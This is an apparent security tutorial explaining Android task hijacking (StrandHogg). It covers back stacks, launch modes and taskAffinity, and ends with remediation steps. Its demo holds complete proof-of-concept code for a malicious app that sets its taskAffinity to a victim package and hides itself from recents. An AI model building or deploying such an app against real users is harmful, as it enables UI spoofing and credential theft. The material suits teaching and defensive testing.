Introduction
In 2015, at USENIX, task hijacking and its impact on Android were first presented.
It’s an attack in which a malicious app takes over the vulnerable app’s “back stack,” and whenever the user tries to access the vulnerable app, he’ll be met by the malicious app’s activity instead.
Tasks and the Back stacks
According to Android Developer’s Documentation,
A task is a collection of activities that users interact with when trying to do something in your app. These activities are arranged in a stack called the back stack in the order in which each activity is opened.
Example:
an email app might have one activity to show a list of new messages. When the user selects a message, a new activity opens to view that message. This new activity is added to the back stack. Then, if the user presses or gestures Back, that new activity is finished and popped off the stack.
Don’t get confused with the Background task and Back Stack, even though the working of both looks same they are different.
Back Stack operates as “Last in First out” method, due to which the activities in the stack are never rearranged but only pushed into the stack when the current activity starts it and popped off when the user exits it using the Back button.
The activity that is displayed on the screen is called a foreground activity and its task is called the foreground task. At a time, only one foreground task is visible on the screen.
According to the Android security model, all the apps running on the device will be isolated and sandboxed from one another but this is not the case when it comes to the Tasks.
Android allows Activities from different apps to co-reside in the same Task and this is the root cause of the vulnerability.
The image shows androids multi-tasking feature with points discussed above.
Android Launch Modes
Launch modes are activity attributes that are specified in the AndroidManifest.xml (or can be mentioned as flags in the calling intent). They provide the underlying OS an instruction on how the activity should be launched.
There are four different Launch Modes:
- standard
- singleTop
- singleTask
- singleInstance
For the attack described here, we are mostly concerned with the “singleTask” mode.
One of the possibility with “singleTask” activity is it allows other activities to be part of its task. It’s always at the root of its task, but other activities (necessarily “standard” and “singleTop” activities) can be launched into that task.
Task affinity is an attribute that is defined in each <activity>
tag in the AndroidManifest.xml
file. It describes which Task an Activity prefers to join.
By default, every activity has the same affinity as the package name.
DEMO
To test the application for task hijacking:
- choose the target application and decompile it using apktool
- change into the decompiled directory
- grep for singletask
apktool d com.example.app
cd com.example.app
grep -i "singleTask"
If we find the activity whose launchMode is set to singleTask then we can hijack the task as it is vulnerable.
We need to create a malicious application to exploit this vulnerability
In android-studio,
- Create new project and select Empty activity
- Give the application a name and language as java
- leave all the other options unchanged, there will be 2 default files will be created named activity_main.xml and MainActivity.java
- Goto app > manifests > AndroidManifest.xml and double click on it to open in editor
now replace the contents of androidmanifest.xml with below code.
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.androidtaskhijackingdemo">
<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:taskAffinity="com.ath.victim"
android:theme="@style/Theme.AndroidTaskHijackingDemo">
<activity android:name=".MainActivity" android:launchMode="singleTask" android:excludeFromRecents="true"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>
In the above code, we can see taskAffinity is set to victim package.
Another flag android:excludeFromRecents is used to ensure the task is not listed in the recent apps, therefore hiding the attacker’s app
now replace the contents of MainActivity.java with below code.
package com.example.androidtaskhijackingdemo;
import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.os.Bundle;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
moveTaskToBack(true);
}
@Override
public void onResume(){
super.onResume();
setContentView(R.layout.activity_main);
}
}
Activities in android can call the moveTaskToBack() function, which will move the task containing this activity to the back of the activity stack. (basically minimise the activity)
save and run the application(android studio will directly install the application to the connected device)
- Now, when the user opens the attacker’s app. it immediately minimises the task.
- it will not be shown in the recent apps as well.
- After that, when the user opens the victim app and presses the back button, instead of being taken to home screen. he is taken to the attacker’s application.
Thanks to the taskAffinity mentioned by the attackers app which is set to the victims app.
In real life exploitation can involve a very stealthy and convincing UI spoofing
Task hijacking is also known as StrandHogg vulnerability.
Remediation
- Set the launchMode to singleInstance which will prevent other activities from becoming a part of it’s task.
- A custom onBackPressed() function can also be added, to override the default behaviour.
- Setting
taskAffinity=""
can be a quick fix for this issue.